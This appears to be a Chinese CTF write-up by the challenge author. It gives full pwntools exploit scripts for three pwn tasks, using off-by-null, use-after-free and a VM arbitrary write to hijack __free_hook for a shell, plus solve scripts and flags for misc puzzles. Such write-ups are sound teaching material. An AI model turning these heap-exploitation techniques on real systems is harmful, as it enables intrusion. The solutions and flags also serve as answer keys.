wp by lemon pwn null 签到题,因为是出题人所以还是写下wp QAQ
edit函数中调用了sub_994,点进去观察函数
这个函数本质上是想如果输入回车后填充00字节来代替回车的’\x0a’,但是忽略了填充完全的情况,导致off-by-null漏洞,可以溢出一个空字节
思路:申请一系列堆块,重点有俩堆块,一个堆块是被溢出的堆块记为victim,其size要满足0x?f0的条件,因为在header中填充后其size的低字节为01,offbynull溢出后其低字节为00,可以向前malloc_consolidate;一个堆块是victim的prev_size索引到的堆块,这个堆块要满足unsorted bin大小,因为在向前合并的过程中会unlink,会检查fd和bk的合法性,利用unsorted bin的特性让系统帮我们”伪造“fd和bk指针。
然后有了overlap岂不是随便玩就好了
from pwn import *import sysarch = 64 challenge = "./null" libc_path_local = "/glibc/x64/2.27/lib/libc.so.6" libc_path_remote = "" local = int (sys.argv[1 ]) elf = ELF(challenge) context.os = 'linux' context.terminal = ['tmux' , 'splitw' , '-h' ] if local: if libc_path_local: io = process(challenge,env = {"LD_PRELOAD" :libc_path_local}) libc = ELF(libc_path_local) else : io = process(challenge) else : io = remote("node4.buuoj.cn" , 25965 ) if libc_path_remote: libc = ELF(libc_path_remote) if arch == 64 : context.arch = 'amd64' elif arch == 32 : context.arch = 'i386' def dbg (): context.log_level = 'debug' def echo (content ): print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m" ) p = lambda : pause() s = lambda x : success(x) re = lambda m, t : io.recv(numb=m, timeout=t) ru = lambda x : io.recvuntil(x) rl = lambda : io.recvline() sd = lambda x : io.send(x) sl = lambda x : io.sendline(x) ia = lambda : io.interactive() sla = lambda a, b : io.sendlineafter(a, b) sa = lambda a, b : io.sendafter(a, b) uu32 = lambda x : u32(x.ljust(4 ,b'\x00' )) uu64 = lambda x : u64(x.ljust(8 ,b'\x00' )) bps = [] pie = 0 def gdba (): if local == 0 : return 0 cmd ='set follow-fork-mode parent\n' if pie: base = int (os.popen("pmap {}|awk '{{print ./null}}'" .format (io.pid)).readlines()[1 ],16 ) cmd +='' .join(['b *{:#x}\n' .format (b+base) for b in bps]) cmd +='set base={:#x}\n' .format (base) else : cmd+='' .join(['b *{:#x}\n' .format (b) for b in bps]) gdb.attach(io,cmd) _add,_free,_edit,_show = 1 ,4 ,2 ,3 menu = "choide:" def add (size, content ): sla(menu, str (_add)) sla("size:" , str (size)) sa("content:" , content) def edit (idx, content ): sla(menu, str (_edit)) sla("index:" , str (idx)) sa("content:" , content) def free (idx ): sla(menu, str (_free)) sla("index:" , str (idx)) def show (idx ): sla(menu, str (_show)) sla("index:" , str (idx)) def exp (): add(0x410 , 'a' ) add(0x108 , 'a' ) add(0x28 , 'a' ) add(0x4f0 , 'b' ) add(0x10 , '/bin/sh\x00' ) free(0 ) edit(2 , 0x20 * 'a' + p64(0x560 )) free(3 ) add(0x410 , 'a' ) show(0 ) leak = uu64(ru('\x7f' )[-6 :]) - 1482 - 0x10 - libc.sym['__malloc_hook' ] echo('libc base:' + hex (leak)) libc.address = leak __free_hook = libc.sym['__free_hook' ] system = libc.sym['system' ] add(0x108 , '3' ) add(0x108 , '5' ) free(5 ) free(1 ) edit(3 , p64(__free_hook) + '\n' ) add(0x108 , 'a' ) add(0x108 , p64(system)) free(4 ) exp() ia()
WriteMaster 我想分享的一些分析技巧
在add函数中第一眼看过去很乱,猜测申请了很多结构体什么的,这个时候有经验的师傅硬看很好分析,但是对于我们来说要学会偷鸡,运行一下程序看看到底是干啥的
看到先后输入了index(在红框框的上面,懒得重新截图了),header size,header,text size和text,然后找找add函数中的一堆exit信息中都输出了字符串,ida中看看
结合题目名字大概能够猜出来是一个文章管理的东西,能够写标题,写文章正文,反正业务就是这么个业务,逻辑就是这么个逻辑,实在不行gdb一顿动调也能发现各个chunk之间的衔接关系。
所以先随便写个结构体看看
struct Article { size_t header_size; char * header; size_t text_size; char * content; };
在ida中找到local types
导入结构体,然后更改bss中的变量202040的类型为article
看起来仍然不太对的样子,注意到有二级指针的存在,猜测文章头或者文章正文的地方还有一个结构体指针
struct Header { size_t header_size; char * content; };
struct Text { size_t text_size; char * content; };
分别导入后,挨边试下,最终可以优化成如下样子
总之会比嗯审好点
正片 完整exp
明显的UAF漏洞
只能申请小于0x60的chunk,输入666有个后门可以edit两次,如果不是限制了chunk的大小就是白给题
因为是uaf,拿到堆地址轻轻松松,通过uaf的布局伪造出ub,然后泄露出堆地址和libc的地址,最后劫持freehook来getshell,完整exp如下:
from pwn import *import sysarch = 64 challenge = "./WriterMaster" libc_path_local = "/glibc/x64/1.4_2.27/libc.so.6" libc_path_remote = "" local = int (sys.argv[1 ]) elf = ELF(challenge) context.os = 'linux' context.terminal = ['tmux' , 'splitw' , '-hp' , '65' ] if local: if libc_path_local: io = process(challenge,env = {"LD_PRELOAD" :libc_path_local}) libc = ELF(libc_path_local) else : io = process(challenge) else : io = remote("node4.buuoj.cn" , 25965 ) if libc_path_remote: libc = ELF(libc_path_remote) if arch == 64 : context.arch = 'amd64' elif arch == 32 : context.arch = 'i386' def dbg (): context.log_level = 'debug' def echo (content ): print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m" ) p = lambda : pause() s = lambda x : success(x) re = lambda m, t : io.recv(numb=m, timeout=t) ru = lambda x : io.recvuntil(x) rl = lambda : io.recvline() sd = lambda x : io.send(x) sl = lambda x : io.sendline(x) ia = lambda : io.interactive() sla = lambda a, b : io.sendlineafter(a, b) sa = lambda a, b : io.sendafter(a, b) uu32 = lambda x : u32(x.ljust(4 ,b'\x00' )) uu64 = lambda x : u64(x.ljust(8 ,b'\x00' )) bps = [] pie = 0 def gdba (): if local == 0 : return 0 cmd ='set follow-fork-mode parent\n' if pie: base = int (os.popen("pmap {}|awk '{{print ./WriteMaster}}'" .format (io.pid)).readlines()[1 ],16 ) cmd +='' .join(['b *{:#x}\n' .format (b+base) for b in bps]) cmd +='set base={:#x}\n' .format (base) else : cmd+='' .join(['b *{:#x}\n' .format (b) for b in bps]) gdb.attach(io,cmd) _add,_free,_show,_edit = 1 ,3 ,2 ,666 menu = ":" def add (idx, header, size, content ): sla(menu, str (_add)) sla("index:" , str (idx)) sla("header size:" , str (0x20 )) sa("header:" , header) sla("text size:" , str (size)) sa("content:" , content) def free (idx ): sla(menu, str (_free)) sla("index:" , str (idx)) def show (idx ): sla(menu, str (_show)) sla("index:" , str (idx)) def edit (idx, content ): sla(menu, str (_edit)) sla("index:" , str (idx)) sa('text:' , content) def exp (): add(0 , 'aaaa' , 0x60 , (p64(0 ) + p64(0x71 )) * (0x60 / 0x10 )) add(1 , 'aaaa' , 0x60 , 'bbbb' ) add(2 , 'aaaa' , 0x60 , 'bbbb' ) add(3 , 'aaaa' , 0x60 , 'bbbb' ) add(4 , 'aaaa' , 0x60 , 'bbbb' ) add(5 , 'aaaa' , 0x60 , 'bbbb' ) add(6 , 'aaaa' , 0x60 , (p64(0 ) + p64(0x21 )) * (0x60 / 0x10 )) for i in range (1 , 6 ): free(i) show(5 ) ru('text:' ) heap = uu64(io.recvuntil('\n' , drop=True )[-6 :]) & 0xfffffffff000 echo('HEAP BASE:' + hex (heap)) edit(3 , p64(heap + 0x2c0 + 0x50 )) for i in range (3 ): add(7 , 'a' , 0x60 , 'a' ) add(7 , 'a' , 0x60 , p64(0 ) + p64(0x21 ) + p64(0x10 ) + p64(heap) + p64(0 ) + p64(0x31 ) + 'a' * 0x20 + p64(0 ) + p64(0x431 )) free(1 ) show(1 ) leak = uu64(ru('\x7f' )[-6 :]) - 96 - 0x10 - libc.sym['__malloc_hook' ] echo('LIBC BASE:' + hex (leak)) libc.address = leak __free_hook = libc.sym['__free_hook' ] system = libc.sym['system' ] add(12 , 'a' , 0x30 , 'a' ) add(13 , 'a' , 0x30 , 'a' ) free(13 ) free(12 ) edit(12 , p64(__free_hook)) add(13 , 'a' , 0x30 , '/bin/sh\x00' ) add(1 , 'a' , 0x30 , p64(system)) free(13 ) pass exp() ia()
伪造ub详解 程序中还有个小漏洞,就是add的时候index可以由我们自己来指定,这样就造成了之前写过的在内存中的数据可能会被覆盖,所以极大增强了我们的体验,想怎么打都可以,考的点就是如何伪造出来一块ub,那么详细记录下
我是边做边给带🔥写的wp,首先写随便申请一通chunk,在chunk0中伪造一个假的header,日后可以覆盖chunk1的header
add(0 , 'aaaa' , 0x60 , p64(0 ) + p64(0x71 )) add(1 , 'aaaa' , 0x60 , 'bbbb' ) add(2 , 'aaaa' , 0x60 , 'bbbb' ) add(3 , 'aaaa' , 0x60 , 'bbbb' ) add(4 , 'aaaa' , 0x60 , 'bbbb' ) add(5 , 'aaaa' , 0x60 , 'bbbb' ) add(6 , 'aaaa' , 0x60 , 'bbbb' ) for i in range (1 , 6 ): free(i)
show(5 ) ru('text:' ) heap = uu64(io.recvuntil('\n' , drop=True )[-6 :]) & 0xfffffffff000 echo('HEAP BASE:' + hex (heap)) edit(3 , p64(heap + 0x2b0 ))
泄露出堆地址后,改个fd为之前伪造的header
for i in range (3 ): add(7 , 'a' , 0x60 , 'b' ) add(7 , 'a' , 0x60 , 'a' * 0x50 + p64(0 ) + p64(0x431 ))
全部申请回来,最终会申请到fake chunk,然后顺势把下一个chunk的header给🐑了
就像这个样,这样就有unsorted bin(下文记为ub)可以用了,但是free的时候还要伪造ub的下一个chunk的header要不然过不了check,手算一波偏移,大概在最底部的chunk附近,所以把之前的exp稍微改改,6号chunk的内容全改为合法的header,目前为止exp长这样:
add(0 , 'aaaa' , 0x60 , p64(0 ) + p64(0x71 )) add(1 , 'aaaa' , 0x60 , 'bbbb' ) add(2 , 'aaaa' , 0x60 , 'bbbb' ) add(3 , 'aaaa' , 0x60 , 'bbbb' ) add(4 , 'aaaa' , 0x60 , 'bbbb' ) add(5 , 'aaaa' , 0x60 , 'bbbb' ) add(6 , 'aaaa' , 0x60 , (p64(0 ) + p64(0x21 )) * (0x60 / 0x10 )) for i in range (1 , 6 ): free(i) show(5 ) ru('text:' ) heap = uu64(io.recvuntil('\n' , drop=True )[-6 :]) & 0xfffffffff000 echo('HEAP BASE:' + hex (heap)) edit(3 , p64(heap + 0x2c0 )) for i in range (3 ): add(7 , 'a' , 0x60 , 'a' ) add(7 , 'a' , 0x60 , 'a' * 0x50 + p64(0 ) + p64(0x431 ))
fake ub 伪造完成,下面就是leak出来libc的地址
尴尬,伪造好突然发现ub在文章的header部分,程序没有header部分的free功能,只能重新伪造了,思路是一样的
经过一点修改后将其伪造到了idx为1的位置,思路是一样的,现给出前面部分的exp
add(0 , 'aaaa' , 0x60 , (p64(0 ) + p64(0x71 )) * (0x60 / 0x10 )) add(1 , 'aaaa' , 0x60 , 'bbbb' ) add(2 , 'aaaa' , 0x60 , 'bbbb' ) add(3 , 'aaaa' , 0x60 , 'bbbb' ) add(4 , 'aaaa' , 0x60 , 'bbbb' ) add(5 , 'aaaa' , 0x60 , 'bbbb' ) add(6 , 'aaaa' , 0x60 , (p64(0 ) + p64(0x21 )) * (0x60 / 0x10 )) for i in range (1 , 6 ): free(i) show(5 ) ru('text:' ) heap = uu64(io.recvuntil('\n' , drop=True )[-6 :]) & 0xfffffffff000 echo('HEAP BASE:' + hex (heap)) edit(3 , p64(heap + 0x2c0 + 0x50 )) for i in range (3 ): add(7 , 'a' , 0x60 , 'a' ) add(7 , 'a' , 0x60 , p64(0 ) + p64(0x21 ) + p64(0x10 ) + p64(heap) + p64(0 ) + p64(0x31 ) + 'a' * 0x20 + p64(0 ) + p64(0x431 ))
伪造出ub后面的就是白给flag了
caculator exp 简简单单的VM pwn,估计是全网最简单的VM pwn了,提供了直接和程序模拟的寄存器的交互接口,漏洞位于一个任意地址写,bss上还有函数指针,main还调用了这个指针,程序还有后门,改指针为后门函数一把🔐
from pwn import *io = process('./caculator' ) io.sendline(str (0x40 )) io.sendline(str (0x400ba0 )) io.sendline(str (0x48 )) io.sendline(str (0x48 )) io.sendline(str (0x38 )) io.sendline(str (-8 )) io.sendline(str (0x50 )) io.interactive()
甚至可以不用pwntools直接nc上去getshell
详解 静态编译,知道有人想🔨我了
热知识,main在rdi寄存器里
四行代码,简简单单
第二个函数才是主要逻辑,一堆case,VM pwn没跑了
无论是经验,还是现搜,先确定一些系统函数:https://www.cnblogs.com/pengdonglin137/p/3345911.html
看到va,printf或者scanf系列的没跑了
不管是用程序的逻辑试还是逆向都很容易确定出来前四个case分别是加减乘除
case 0x48实现了pop操作,case 0x40实现了push操作,可以向栈上写入任意数据,通过pop可以控制我们自己实现的寄存器reg,并且case38可以实现向任意位置写入寄存器reg的操作,通过这一套操作实现了一个任意地址写
流程:push 后门函数地址,pop弹栈,pop弹栈(此时寄存器被赋值为后门的地址),利用任意地址写写到函数指针,退出执行getshell
函数指针就在模拟的栈空间的上方,算下偏移很容易算出来是负8
通过查看字符串可以找到后门
misc bbbbbbaaaaaasssssseeeeee 给了文本文件,一眼过去base编码,base解完发现是套了不同的base,写个脚本循环解密完事
出题脚本如下,我用的随机数,我也不知道啥套了啥,暴力破解就完了
import base64import randomdef encodeFlag (i, flag ): if (i == 0 ): flag = base64.b16encode(str (flag).encode()).decode() if (i == 1 ): flag = base64.b32encode(str (flag).encode()).decode() if (i == 2 ): flag = base64.b64encode(str (flag).encode()).decode() if (i == 3 ): flag = base64.b85encode(str (flag).encode()).decode() return flag flag = 'flag{Bas3_1s_s0_b3autifu1!}' for i in range (20 ): flag = encodeFlag(random.randint(0 , 3 ), flag) with open ('flag' , 'wb' ) as f: f.write(flag.encode())
解题脚本如下:
import base64with open ('flag' ,"r" ) as f: text = f.read() while True : try : text = base64.b16decode(text).decode() except : try : text = base64.b32decode(text).decode() except : try : text = base64.b64decode(text).decode() except : try : text = base64.b85decode(text).decode() except : break print(text)
zzzzzziiiiiipppppp flag{D0nt_h1t_m3_N0_m0r3_01d_tr1ck5!}
灵感来源于ctf生涯中及其短暂的时间内任职过一个misc手而打过的比赛中的无脑套娃题——【MRCTF】千层套路,本题又降低了难度,因为当时解出来好像
给了压缩包,稍微试试就知道密码是文件名,但是压缩包很多,手解不可能,于是只能搓jio本
稍微查查就知道python有个库叫zipfile可以解,但是很慢,所以会写shell jio本的同学应该更容易抢到一血,但是👴🏻不会shell jio本所以👴🏻注定抢不了一血,因为👴🏻是出题人,跑偏了
现给出出题用的jio 本
import osimport stringimport randomdef compressedFileToCreate (random_number, prev_filename ): print('prev:' + prev_filename) filename = str (random_number) + '.zip' os.system("zip -P %s %s %s" %(str (random_number), filename, prev_filename)) if prev_filename[-4 :] == '.zip' : os.system('rm ' + prev_filename) return filename def randomNumberGeneration (): number = string.digits random_list = [] for i in range (4 ): index = random.randint(0 , 9 ) random_list.append(number[index]) return "" .join(random_list) if __name__ == '__main__' : for i in range (1000 ): number = randomNumberGeneration() if i == 0 : prev_filename = compressedFileToCreate(number, 'flag.txt' ) else : prev_filename = compressedFileToCreate(number, prev_filename)
解题脚本很简单,就是得等一会儿,等到报错的时候,就还有一个文件没有解开,手动解就完了
import zipfileimport osdef exp (filename, prev_filename ): fz = zipfile.ZipFile(filename + '.zip' , 'r' ) fz.extractall(pwd=bytes (filename, 'utf-8' )) name = fz.filelist[0 ].filename[0 :4 ] if prev_filename: os.system('rm ' + prev_filename + '.zip' ) fz.close() return filename,name if __name__ == '__main__' : filename = '8366' prev_filename = '' while True : prev_filename,filename = exp(filename, prev_filename)
WaterMark 出题思路:图片盲水印,foremost 然后用盲水印脚本一把梭
flag{water_mark_is_so_fun}
letter 附件给了一个pdf
注意到后面有个nc地址,连上去发现需要输入username和password,但是不知道,pdf中有username和password,虽然挡住了,但是能够直接复制出来,得到username和password分别为lemon和l3m0n_l0v3_rgb,然后nc连上去输入用户名和密码
获得一个网址,我们用web端访问一下看看
有个文本文件,下载下来康康
部分内容:
结合刚才的密码,这个应该是个rgb图像的像素点,并且还给了宽和高,利用PIL库合成像素点获得flag
from PIL import Imagex = 2012 y = 1014 img = Image.new("RGB" ,(x,y)) with open ('./tmp.txt' ,'r' ) as f: for width in range (0 ,x): for height in range (0 ,y): line = f.readline().strip('\n' )[1 :-1 ] rgb = line.split(',' ) img.putpixel((width,height),(int (rgb[0 ]),int (rgb[1 ]),int (rgb[2 ]))) img.save('flag.jpg' )
flag{l3m0n_10v3_pdf_and_rgb}
emoji-master 出题人视角 👴🏻就是抽象,所以就有了这个题,致敬抽象文学
现翻了翻emojicode就挺有意思,本来可以放字符串的,但是没有节目效果,所以改成了emoji编码,但是有hint,问题不大
emoji随机生成脚本如下
import emojiimport randomemoji_list = """ :bowtie: :smile: :simple_smile: :laughing: :blush: :smiley: :relaxed: :smirk: :heart_eyes: :kissing_heart: :kissing_closed_eyes: :flushed: :relieved: :satisfied: :grin: :wink: :stuck_out_tongue_winking_eye: :stuck_out_tongue_closed_eyes: :grinning: :kissing: :kissing_smiling_eyes: :stuck_out_tongue: :sleeping: :worried: :frowning: :anguished: :open_mouth: :grimacing: :confused: :hushed: :expressionless: :unamused: :sweat_smile: :sweat: :disappointed_relieved: :weary: :pensive: :disappointed: :confounded: :fearful: :cold_sweat: :persevere: :cry: :sob: :joy: :astonished: :scream: :neckbeard: :tired_face: :angry: :rage: :triumph: :sleepy: :yum: :mask: :sunglasses: :dizzy_face: :imp: :smiling_imp: :neutral_face: :no_mouth: :innocent: :alien: :yellow_heart: :blue_heart: :purple_heart: :heart: :green_heart: :broken_heart: :heartbeat: :heartpulse: :two_hearts: :revolving_hearts: :cupid: :sparkling_heart: :sparkles: :star: :star2: :dizzy: :boom: :collision: :anger: :exclamation: :question: :grey_exclamation: :grey_question: :zzz: :dash: :sweat_drops: :notes: :musical_note: :fire: :hankey: :poop: :shit: :+1: :thumbsup: :-1: :thumbsdown: :ok_hand: :punch: :facepunch: :fist: :v: :wave: :hand: :raised_hand: :open_hands: :point_up: :point_down: :point_left: :point_right: :raised_hands: :pray: :point_up_2: :clap: :muscle: :metal: :fu: :runner: :running: :couple: :family: :two_men_holding_hands: :two_women_holding_hands: :dancer: :dancers: :ok_woman: :no_good: :information_desk_person: :raising_hand: :bride_with_veil: :person_with_pouting_face: :person_frowning: :bow: :couplekiss: :couple_with_heart: :massage: :haircut: :nail_care: :boy: :girl: :woman: :man: :baby: :older_woman: :older_man: :person_with_blond_hair: :man_with_gua_pi_mao: :man_with_turban: :construction_worker: :cop: :angel: :princess: :smiley_cat: :smile_cat: :heart_eyes_cat: :kissing_cat: :smirk_cat: :scream_cat: :crying_cat_face: :joy_cat: :pouting_cat: :japanese_ogre: :japanese_goblin: :see_no_evil: :hear_no_evil: :speak_no_evil: :guardsman: :skull: :feet: :lips: :kiss: :droplet: :ear: :eyes: :nose: :tongue: :love_letter: :bust_in_silhouette: :busts_in_silhouette: :speech_balloon: :thought_balloon: :feelsgood: :finnadie: :goberserk: :godmode: :hurtrealbad: :rage1: :rage2: :rage3: :rage4: :suspect: :trollface: :sunny: :umbrella: :cloud: :snowflake: :snowman: :zap: :cyclone: :foggy: :ocean: :cat: :dog: :mouse: :hamster: :rabbit: :wolf: :frog: :tiger: :koala: :bear: :pig: :pig_nose: :cow: :boar: :monkey_face: :monkey: :horse: :racehorse: :camel: :sheep: :elephant: :panda_face: :snake: :bird: :baby_chick: :hatched_chick: :hatching_chick: :chicken: :penguin: :turtle: :bug: :honeybee: :ant: :beetle: :snail: :octopus: :tropical_fish: :fish: :whale: :whale2: :dolphin: :cow2: :ram: :rat: :water_buffalo: :tiger2: :rabbit2: :dragon: :goat: :rooster: :dog2: :pig2: :mouse2: :ox: :dragon_face: :blowfish: :crocodile: :dromedary_camel: :leopard: :cat2: :poodle: :paw_prints: :bouquet: :cherry_blossom: :tulip: :four_leaf_clover: :rose: :sunflower: :hibiscus: :maple_leaf: :leaves: :fallen_leaf: :herb: :mushroom: :cactus: :palm_tree: :evergreen_tree: :deciduous_tree: :chestnut: :seedling: :blossom: :ear_of_rice: :shell: :globe_with_meridians: :sun_with_face: :full_moon_with_face: :new_moon_with_face: :new_moon: :waxing_crescent_moon: :first_quarter_moon: :waxing_gibbous_moon: :full_moon: :waning_gibbous_moon: :last_quarter_moon: :waning_crescent_moon: :last_quarter_moon_with_face: :first_quarter_moon_with_face: :crescent_moon: :earth_africa: :earth_americas: :earth_asia: :volcano: :milky_way: :partly_sunny: :octocat: :squirrel: :bamboo: :gift_heart: :dolls: :school_satchel: :mortar_board: :flags: :fireworks: :sparkler: :wind_chime: :rice_scene: :jack_o_lantern: :ghost: :santa: :christmas_tree: :gift: :bell: :no_bell: :tanabata_tree: :tada: :confetti_ball: :balloon: :crystal_ball: :cd: :dvd: :floppy_disk: :camera: :video_camera: :movie_camera: :computer: :tv: :iphone: :phone: :telephone: :telephone_receiver: :pager: :fax: :minidisc: :vhs: :sound: :speaker: :mute: :loudspeaker: :mega: :hourglass: :hourglass_flowing_sand: :alarm_clock: :watch: :radio: :satellite: :loop: :mag: :mag_right: :unlock: :lock: :lock_with_ink_pen: :closed_lock_with_key: :key: :bulb: :flashlight: :high_brightness: :low_brightness: :electric_plug: :battery: :calling: :email: :mailbox: :postbox: :bath: :bathtub: :shower: :toilet: :wrench: :nut_and_bolt: :hammer: :seat: :moneybag: :yen: :dollar: :pound: :euro: :credit_card: :money_with_wings: :e-mail: :inbox_tray: :outbox_tray: :envelope: :incoming_envelope: :postal_horn: :mailbox_closed: :mailbox_with_mail: :mailbox_with_no_mail: :package: :door: :smoking: :bomb: :gun: :hocho: :pill: :syringe: :page_facing_up: :page_with_curl: :bookmark_tabs: :bar_chart: :chart_with_upwards_trend: :chart_with_downwards_trend: :scroll: :clipboard: :calendar: :date: :card_index: :file_folder: :open_file_folder: :scissors: :pushpin: :paperclip: :black_nib: :pencil2: :straight_ruler: :triangular_ruler: :closed_book: :green_book: :blue_book: :orange_book: :notebook: :notebook_with_decorative_cover: :ledger: :books: :bookmark: :name_badge: :microscope: :telescope: :newspaper: :football: :basketball: :soccer: :baseball: :tennis: :8ball: :rugby_football: :bowling: :golf: :mountain_bicyclist: :bicyclist: :horse_racing: :snowboarder: :swimmer: :surfer: :ski: :spades: :hearts: :clubs: :diamonds: :gem: :ring: :trophy: :musical_score: :musical_keyboard: :violin: :space_invader: :video_game: :black_joker: :flower_playing_cards: :game_die: :dart: :mahjong: :clapper: :memo: :pencil: :book: :art: :microphone: :headphones: :trumpet: :saxophone: :guitar: :shoe: :sandal: :high_heel: :lipstick: :boot: :shirt: :tshirt: :necktie: :womans_clothes: :dress: :running_shirt_with_sash: :jeans: :kimono: :bikini: :ribbon: :tophat: :crown: :womans_hat: :mans_shoe: :closed_umbrella: :briefcase: :handbag: :pouch: :purse: :eyeglasses: :fishing_pole_and_fish: :coffee: :tea: :sake: :baby_bottle: :beer: :beers: :cocktail: :tropical_drink: :wine_glass: :fork_and_knife: :pizza: :hamburger: :fries: :poultry_leg: :meat_on_bone: :spaghetti: :curry: :fried_shrimp: :bento: :sushi: :fish_cake: :rice_ball: :rice_cracker: :rice: :ramen: :stew: :oden: :dango: :egg: :bread: :doughnut: :custard: :icecream: :ice_cream: :shaved_ice: :birthday: :cake: :cookie: :chocolate_bar: :candy: :lollipop: :honey_pot: :apple: :green_apple: :tangerine: :lemon: :cherries: :grapes: :watermelon: :strawberry: :peach: :melon: :banana: :pear: :pineapple: :sweet_potato: :eggplant: :tomato: :corn: :house: :house_with_garden: :school: :office: :post_office: :hospital: :bank: :convenience_store: :love_hotel: :hotel: :wedding: :church: :department_store: :european_post_office: :city_sunrise: :city_sunset: :japanese_castle: :european_castle: :tent: :factory: :tokyo_tower: :japan: :mount_fuji: :sunrise_over_mountains: :sunrise: :stars: :statue_of_liberty: :bridge_at_night: :carousel_horse: :rainbow: :ferris_wheel: :fountain: :roller_coaster: :ship: :speedboat: :boat: :sailboat: :rowboat: :anchor: :rocket: :airplane: :helicopter: :steam_locomotive: :tram: :mountain_railway: :bike: :aerial_tramway: :suspension_railway: :mountain_cableway: :tractor: :blue_car: :oncoming_automobile: :car: :red_car: :taxi: :oncoming_taxi: :articulated_lorry: :bus: :oncoming_bus: :rotating_light: :police_car: :oncoming_police_car: :fire_engine: :ambulance: :minibus: :truck: :train: :station: :train2: :bullettrain_front: :bullettrain_side: :light_rail: :monorail: :railway_car: :trolleybus: :ticket: :fuelpump: :vertical_traffic_light: :traffic_light: :warning: :construction: :beginner: :atm: :slot_machine: :busstop: :barber: :hotsprings: :checkered_flag: :crossed_flags: """ out = emoji_list.split('\n' ) out = out[1 :-1 ] final = '' for i in range (30 ): j = 0 echo = '' while True : emojiSymbol = emoji.emojize(out[random.randint(0 , len (out) - 1 )], use_aliases=True ) if ':' in emojiSymbol: continue echo += emojiSymbol j += 1 if j == 26 : break final += '🔤' + echo + '🔤 ' with open ('tmp' , 'wb' ) as f: f.write(final.encode())
解题人视角
binwalk -e 分离出一个压缩包,里面俩文件,先file一下看看都是啥
都是文本文件,用code打开康康
hint.txt如上
flag.emojic文件如上,乍一看是emoji编码,发现解不动,搜一下hint
发现emojicode,是一种编程语言
这一坨东西翻译成python就是如图所示,就定义了一个列表,😀 是输出,🐽是访问集合中元素,很简单,稍微读读文档就知道咋回事了。
那看我们的源代码:
🏁 🍇 🍿 🔤😼👿🏇🚐👭🏇📫♣😔🐡🎨😼🔅👯🙎💘📇📺💡👮🐉👴📨😁👖📁🔤 🔤⛽♨👹🌅🎥🏇☝📺🗽💰🎯🐛🐓📛🐓🐸🌆💍🍐🌁💪😴🚢🐇😘👘🔤 🔤👝👣👘👞👲👰🐧👬👖👘👩🐪👖👜👤🐧👡🐨👖👤👘👪👫🐪👩👴🔤 🔤😿👂🗾🎲📤🚣📞☎🐰🍳✋🐩⛺💙🛀🎵😾✊👯🔔🍪🔮🌌🌂😉🌻🔤 🔤😳🍔🏡🐮♠📷👷🌷🍋🐃💂👲⌛📌☕🏪🚗🌴👝💶🔮📲😼☂🌍🍢🔤 🔤💜😱⛳🐫📡🚥🍙📔📌🙆🎻🐣➿🎊🐷🍝☎🎻🍒😁😝🏬💶🚥🐼👅🔤 🔤😻🍁🚓💍💨⏳💚🚬🍋🎡🐒👎😹🔐😳👱🐂🍞🙍🎍🎀🍼🎸👅🔕📀🔤 🔤📠♥🐶🔑⌚😟❓🍠♨👜🎹🏀😩👡🍒👶🍠🌚🐩👸🐹📻🍀🛁❔📦🔤 🔤👇🍦🌘👝💷💧📞👦🍑🐂🐞💴😇🎄⏰💶💃🐅🌗❗📣🔰🎆⚽😟📢🔤 🔤😥♠🐕🙌🐇🙊😳🐅⚓🎋🌜♨😵🔇🍬🎥😬🍝📄🏯🍶⚠📏🌽📦🐗🔤 🔤🐷🍦🚍🎆🐺📪🐚🐋🏫👞😥🚌🍭🎌👪💪🎱📆🍛⛵🔖😱🙎🐝🐫🍎🔤 🔤👥📯🍔📝🎉🙇⭐✋🐏❄🚎👩🚁🎲🚀❗☂🍋✂🔏✋👳🍕🍭🚑💎🔤 🔤📕🌺🏡🙆🍌😗👕🏆♣🐊👦😲🏀💑🍫👱📊🌄🐌🍩🍢🏬😴🎴📛🏦🔤 🔤😰👡🎈🐎🔉🍚🔌🎍🔌📣🙋⛳😒🍏🚪🌍👯💰😂❗💗🚤💈📁🐷🔍🔤 🔤🐕🍂🍶🚡🚌😯🐝💃🍐🍅🏥🍬👉🎣👨🎨📤🍛👰🚌🍎🐉🌹📯🚙🔍🔤 🔤🍤🍚😠📕🎓🙊👍🔨🐖👇👓👐🌅💃🎨🎿😺🌁💅⚡📫👚👢🎈🍚🔒🔤 🔤🏯🏊🌁📬🏁🏬👠📲🍁😪💚👶🎫🎄🍌👲📟💫🍓😥😾😂🌾👑🎆🎠🔤 🔤🎑🍰👧👆🍼👡🗻❗🏩📙📄💏🎣🚗📢📕📃☎💍🀄🍁😊🔮👿👜👎🔤 🔤✌🎑🚙🚋🏉🔓😸🔥🐓🍠📎🐩📂📒➿🍙👄🍹🎒😏🐩👥🔋🍰🐸🚲🔤 🔤👲💃💋💧😥🙀♦🚴🐳😉🌱🍎💗😺😿🏇😁👇🏫😄🐕☎😰🚢⛽🌜🔤 🔤👾🗽🎌🎊⛽😪😮📠😢🐜😄😱😝📜🎢🍺🎷🍦👊🌎💂🎐👋🐼🏡🔮🔤 🔤👅🌌⛽🌋🐖🔒🔒🍜🍗🎫🙏🎤🔔☎📊📹🐘📖🐟✨💔👊👻📜🐬🎣🔤 🔤💘📓🐵💀🎹✊🔌🌼🔋😖🌓💁🍫📝🏃👥⛳🙀🎉🐜😌📐👜🙀🎂👄🔤 🔤👡👰🐐💪📐🎏👆😁👧🍥🐓👱🎏😊🚖☺🌓🚢🎈🎋🌽😓🎷🎎🍻⛺🔤 🔤☝💒😃👠👗👇🐆🌆⚠🚔😷🎺🏥🙎🌈👾👏😯🐋🔋💄☕💔🐜😞💪🔤 🔤🌸🐳💡📎🐹😆🍓☀👗🚧🚢🍔🔌😨📷👳💧🐾🐝🔕🐍👪🚒🐸🔮👨🔤 🔤🐺🏇👔🍀🌛🏡🐱🚉😣♠👞🚂🙋☎🚅🌈🌋📆🍙🙉👨🍲📙💎✋🏩🔤 🔤🐓🏃📎🌇🍏🌹☝🎻🐧😪🐃💳💰🍐👇🐟🙇😱📡👝👄📐🔪☁💬⭐🔤 🔤💉🌙☀📭📨👋🌆🚝💘💻😄💩🔋🐟🔈📢👍🌖📌🐲💕🍛❕🍷🏀🐸🔤 🔤🐤👫🚠💨📖🚦🔑📥🔪🏈🚒💌🌴👪😦🙇🌍📘😍😞👲🍸🐙☎🎨😸🔤 🍆 ➡️ list 💭 😀 🐽list 2❗️❗️ 🍉
